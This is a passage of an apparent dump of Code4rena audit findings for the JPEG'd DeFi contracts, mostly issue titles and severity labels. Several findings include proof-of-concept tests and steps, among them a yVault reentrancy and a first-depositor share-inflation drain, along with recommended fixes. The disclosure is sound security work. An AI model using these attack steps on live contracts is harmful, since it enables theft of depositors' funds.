"QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "[WP-H22] Bad debts should not continue to accrue interest", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/167", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "[WP-H22] Bad debts should not continue to accrue interest"}, {"title": "[WP-H9] `_swapUniswapV2` may use an improper `path` which can cause a loss of the majority of the rewardTokens", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/157", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "[WP-H9] `_swapUniswapV2` may use an improper `path` which can cause a loss of the majority of the rewardTokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "`StrategyPUSDConvex.balanceOfJPEG` uses incorrect function signature while calling `extraReward.earned`, causing the function to unexpectedly revert everytime", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/139", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/vaults/yVault/strategies/StrategyPUSDConvex.sol#L234 # Vulnerability details ## Impact As specified in Convex [BaseRewardPool.sol](https://github.com/convex-eth/platform/blob/main/contracts/contracts/BaseRewardPool.sol#L149) and [VirtualRewardPool.sol](https://github.com/convex-eth/platform/blob/main/contracts/contracts/VirtualBalanceRewardPool.sol#L127), the function signature of `earned` is `earned(address)`. However, `balanceOfJPEG` did not pass any arguments to `earned`, which would cause `balanceOfJPEG` to always revert. This bug will propagate through `Controller` and `YVault` until finally reaching the source of the call in `YVaultLPFarming ._computeUpdate`, and render the entire farming contract unuseable. ## Proof of Concept Both `BaseRewardPool.earned` and `VirtualBalanceRewardPool.earned` takes an address as argument ``` function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } ``` But `balanceOfJPEG` does not pass any address to `extraReward.earned`, causing the entire function to revert when called ``` function balanceOfJPEG() external view returns (uint256) { uint256 availableBalance = jpeg.balanceOf(address(this)); IBaseRewardPool baseRewardPool = convexConfig.baseRewardPool; uint256 length = baseRewardPool.extraRewardsLength(); for (uint256 i = 0; i < length; i++) { IBaseRewardPool extraReward = IBaseRewardPool(baseRewardPool.extraRewards(i)); if (address(jpeg) == extraReward.rewardToken()) { availableBalance += extraReward.earned(); //we found jpeg, no need to continue the loop break; } } return availableBalance; } ``` ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps Pass `address(this)` as argument of `earned`. Notice how we modify the fetching of reward. This is reported in a separate bug report, but for completeness, the entire fix is shown in both report entries. ``` function balanceOfJPEG() external view returns (uint256) { uint256 availableBalance = jpeg.balanceOf(address(this)); IBaseRewardPool baseRewardPool = convexConfig.baseRewardPool; availableBalance += baseRewardPool.earned(address(this)); uint256 length = baseRewardPool.extraRewardsLength(); for (uint256 i = 0; i < length; i++) { IBaseRewardPool extraReward = IBaseRewardPool(baseRewardPool.extraRewards(i)); if (address(jpeg) == extraReward.rewardToken()) { availableBalance += extraReward.earned(address(this)); } } return availableBalance; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Wrong calculation for yVault price per share if decimals != 18", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Wrong calculation for yVault price per share if decimals != 18"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Division before Multiplication May Result In No Interest Being Accrued", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/97", "labels": ["bug", "2 (Med Risk)"], "target": "2022-04-jpegd-findings", "body": "Division before Multiplication May Result In No Interest Being Accrued"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Reentrancy issue in `yVault.deposit`", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/81", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/vaults/yVault/yVault.sol#L144-L145 # Vulnerability details ## Impact In `deposit`, the balance is cached and then a `token.transferFrom` is triggered which can lead to exploits if the `token` is a token that gives control to the sender, like ERC777 tokens. #### POC Initial state: `balance() = 1000`, shares `supply = 1000`. Depositing 1000 amount should mint 1000 supply, but one can split the 1000 amounts into two 500 deposits and use re-entrancy to profit. - Outer `deposit(500)`: `balanceBefore = 1000`. Control is given to attacker ... - Inner `deposit(500)`: `balanceBefore = 1000`. `shares = (_amount * supply) / balanceBefore = 500 * 1000 / 1000 = 500` shares are minted ... - Outer `deposit(500)` continues with the mint: `shares = (_amount * supply) / balanceBefore = 500 * 1500 / 1000 = 750` are minted. - Withdrawing the `500 + 750 = 1250` shares via `withdraw(1250)`, the attacker receives `backingTokens = (balance() * _shares) / supply = 2000 * 1250 / 2250 = 1111.111111111`. The attacker makes a profit of `1111 - 1000 = 111` tokens. - They repeat the attack until the vault is drained. ## Recommended Mitigation Steps The `safeTransferFrom` should be the last call in `deposit`. "}, {"title": "Setting new controller can break YVaultLPFarming", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/80", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Setting new controller can break YVaultLPFarming"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/79", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "`setDebtInterestApr` should accrue debt first", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/78", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/vaults/NFTVault.sol#L212 # Vulnerability details ## Impact The `setDebtInterestApr` changes the debt interest rate without first accruing the debt. This means that the new debt interest rate is applied retroactively to the unaccrued period on next `accrue()` call. It should never be applied retroactively to a previous time window as this is unfair & wrong. Borrowers can incur more debt than they should. ## Recommended Mitigation Steps Call `accrue()` first in `setDebtInterestApr` before setting the new `settings.debtInterestApr`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Controller: Strategy migration will fail", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/57", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/vaults/yVault/Controller.sol#L95 https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/vaults/yVault/strategies/StrategyPUSDConvex.sol#L266 # Vulnerability details ## Details The controller calls the `withdraw()` method to withdraw JPEGs from the contract, but the strategy might blacklist the JPEG asset, which is what the PUSDConvex strategy has done. The migration would therefore revert. ## Proof of Concept Insert this test into [`StrategyPUSDConvex.ts`](https://github.com/code-423n4/2022-04-jpegd/blob/main/tests/StrategyPUSDConvex.ts). ```jsx it.only(\"will revert when attempting to migrate strategy\", async () => { await controller.setVault(want.address, yVault.address); await expect(controller.setStrategy(want.address, strategy.address)).to.be.revertedWith(\"jpeg\"); }); ``` ## Recommended Mitigation Steps Replace `_current.withdraw(address(jpeg));` with `_current.withdrawJPEG(vaults[_token])`. "}, {"title": "yVaultLPFarming: No guarantee JPEG currentBalance > previousBalance", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/56", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/farming/yVaultLPFarming.sol#L169-L170 # Vulnerability details ## Details & Impact yVault users participating in the farm have to trust that: - `vault.balanceOfJPEG()` returns the correct claimable JPEG amount by its strategy / strategies - the strategy / strategies will send all claimable JPEG to the farm Should either of these assumptions break, then it could be possibly be the case that `currentBalance` is less than `previousBalance`, causing deposits and crucially, withdrawals to fail due to subtraction overflow. ## Proof of Concept For instance, - Farm migration occurs. A new farm is set in `yVault`, then `withdrawJPEG()` is called, which sends funds to the new farm. Users of the old farm would be unable to withdraw their deposits. ```jsx it.only(\"will revert old farms' deposits and withdrawals if yVault migrates farm\", async () => { // 0. setup await token.mint(owner.address, units(1000)); await token.approve(yVault.address, units(1000)); await yVault.depositAll(); await yVault.approve(lpFarming.address, units(1000)); // send some JPEG to strategy prior to deposit await jpeg.mint(strategy.address, units(100)); // deposit twice, so that the second deposit will invoke _update() await lpFarming.deposit(units(250)); await lpFarming.deposit(units(250)); // 1. change farm and call withdrawJPEG() await yVault.setFarmingPool(user1.address); await yVault.withdrawJPEG(); // deposit and withdrawal will fail await expect(lpFarming.deposit(units(500))).to.be.revertedWith('reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)'); await expect(lpFarming.withdraw(units(500))).to.be.revertedWith('reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)'); }); ``` - Strategy migration occurs, but JPEG funds held by the old strategy were not claimed, causing `vault.balanceOfJPEG()` to report a smaller amount than previously recorded - `jpeg` could be accidentally included in the StrategyConfig, resulting in JPEG being converted to other assets - A future implementation takes a fee on the `jpeg` to be claimed ## Recommended Mitigation Steps A simple fix would be to `return` if `currentBalance \u2264 previousBalance`. A full fix would properly handle potential shortfall. ```jsx if (currentBalance <= previousBalance) return; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Oracle data feed is insufficiently validated.", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "Oracle data feed is insufficiently validated."}, {"title": "FungibleAssetVaultForDAO: The withdraw function calls native payable.transfer, which can be unusable for smart contract calls", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-jpegd-findings", "body": "FungibleAssetVaultForDAO: The withdraw function calls native payable.transfer, which can be unusable for smart contract calls"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "NFTHelper Contract Allows Owner to Burn NFTs", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "NFTHelper Contract Allows Owner to Burn NFTs"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "rewards will be locked if user transfer directly to pool without using deposit function ", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/19", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/e72861a9ccb707ced9015166fbded5c97c6991b6/contracts/farming/LPFarming.sol#L190 # Vulnerability details ## Impact ###### LpFarming.sol reward will be locked in the farming, when user execute a direct transfer with lpToken to farm without using deposit ## Proof of Concept \"pls add this test to LpFarming.ts to check\" ``` it(\"a part of rewards can't be distributed if user execute a direct transfer to farm\", async() => { // manual mine new block await network.provider.send(\"evm_setAutomine\", [false]); // prepare const attacker = bob; await lpTokens[0].transfer(alice.address, units(1000)); await lpTokens[0].transfer(attacker.address, units(1000)); await lpTokens[0].connect(alice).approve(farming.address, units(1000)); await mineBlocks(1); // attacker direct deposit lp token to the pool await lpTokens[0].connect(attacker).transfer(farming.address, units(100)); // create new pool await farming.add(10, lpTokens[0].address); await mineBlocks(1); expect(await farming.poolLength()).to.equal(1); let pool = await farming.poolInfo(0); expect(pool.lpToken).to.equal(lpTokens[0].address); expect(pool.allocPoint).to.equal(10); // create new epoch ==> balance of pool will be 1000 let blockNumber = await ethers.provider.getBlockNumber(); await farming.newEpoch(blockNumber + 1, blockNumber + 11, 100); // alice deposit await farming.connect(alice).deposit(0, units(100)); await mineBlocks(1); expect(await jpeg.balanceOf(farming.address)).to.equal(1000); // when pool end, alice can just take 500 jpeg, and 500 jpeg will be locked in the contract forever !!! await mineBlocks(13); console.log(\"reward of alice: \", (await farming.pendingReward(0, alice.address)).toString()); expect(await farming.pendingReward(0, alice.address)).to.equal(BigNumber.from('500')); }); ``` In the test above, the attacker transfers 100 lpToken to the farm without using deposit function, and alice deposit 100 lpToken. Because the contract uses ```pool.lpToken.balanceOf(address(this))``` to get the total supply of lpToken in the pool, it will sum up 100 lpToken of attacker and 100 lpToken of alice. This will lead to the situation where Alice will only be able to claim 500 token (at epoch.endBlock), the rest will be locked in the pool forever. Not only with this pool, it also affects the following, a part of the reward will be locked in the pool when the farm end. ## Tools Used typescript ## Recommended Mitigation Steps Declare a new variable ```totalLPSupply``` to the struct ```PoolInfo```, and use it instead of ```pool.lpToken.balanceOf(address(this))``` "}, {"title": "reward will be locked in the farm if no LP join the pool at epoch.startBlock ", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "reward will be locked in the farm if no LP join the pool at epoch.startBlock "}, {"title": "yVault: First depositor can break minting of shares", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/12", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/vaults/yVault/yVault.sol#L148-L153 # Vulnerability details ## Details The attack vector and impact is the same as [TOB-YEARN-003](https://github.com/yearn/yearn-security/blob/master/audits/20210719_ToB_yearn_vaultsv2/ToB_-_Yearn_Vault_v_2_Smart_Contracts_Audit_Report.pdf), where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large \u201cdonation\u201d. ## Proof of Concept - Attacker deposits 1 wei to mint 1 share - Attacker transfers exorbitant amount to the `StrategyPUSDConvex` contract to greatly inflate the share\u2019s price. Note that the strategy deposits its entire balance into Convex when its `deposit()` function is called. - Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share. Insert this test into [`yVault.ts`](https://github.com/code-423n4/2022-04-jpegd/blob/main/tests/yVault.ts). ```jsx it.only(\"will cause 0 share issuance\", async () => { // mint 10k + 1 wei tokens to user1 // mint 10k tokens to owner let depositAmount = units(10_000); await token.mint(user1.address, depositAmount.add(1)); await token.mint(owner.address, depositAmount); // token approval to yVault await token.connect(user1).approve(yVault.address, 1); await token.connect(owner).approve(yVault.address, depositAmount); // 1. user1 mints 1 wei = 1 share await yVault.connect(user1).deposit(1); // 2. do huge transfer of 10k to strategy // to greatly inflate share price (1 share = 10k + 1 wei) await token.connect(user1).transfer(strategy.address, depositAmount); // 3. owner deposits 10k await yVault.connect(owner).deposit(depositAmount); // receives 0 shares in return expect(await yVault.balanceOf(owner.address)).to.equal(0); // user1 withdraws both his and owner's deposits // total amt: 20k + 1 wei await expect(() => yVault.connect(user1).withdrawAll()) .to.changeTokenBalance(token, user1, depositAmount.mul(2).add(1)); }); ``` ## Recommended Mitigation Steps - [Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124). The same can be done in this case i.e. when `totalSupply() == 0`, send the first min liquidity LP tokens to the zero address to enable share dilution. - Ensure the number of shares to be minted is non-zero: `require(_shares != 0, \"zero shares minted\");` "}, {"title": "The noContract modifier does not work as expected.", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/59e288c27e1ff1b47505fea2e5434a7577d85576/contracts/vaults/yVault/yVault.sol#L61 https://github.com/code-423n4/2022-04-jpegd/blob/59e288c27e1ff1b47505fea2e5434a7577d85576/contracts/farming/yVaultLPFarming.sol#L54 https://github.com/code-423n4/2022-04-jpegd/blob/59e288c27e1ff1b47505fea2e5434a7577d85576/contracts/vaults/yVault/yVault.sol#L61 # Vulnerability details ## Impact Detailed description of the impact of this finding. The expectation of the noContract modifier is to allow access only to accounts inside EOA or Whitelist, if access is controlled using ! access control with _account.isContract(), then because isContract() gets the size of the code length of the account in question by relying on extcodesize/address.code.length, this means that the restriction can be bypassed when deploying a smart contract through the smart contract's constructor call. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used ## Recommended Mitigation Steps Modify the code to `require(msg.sender == tx.origin);` "}, {"title": "Existing user\u2019s locked JPEG could be overwritten by new user, causing permanent loss of JPEG funds", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/10", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/vaults/NFTVault.sol#L375 https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/lock/JPEGLock.sol#L54-L62 # Vulnerability details ## Details & Impact A user\u2019s JPEG lock schedule can be overwritten by another user\u2019s if he (the other user) submits and finalizes a proposal to change the same NFT index\u2019s value. The existing user will be unable to 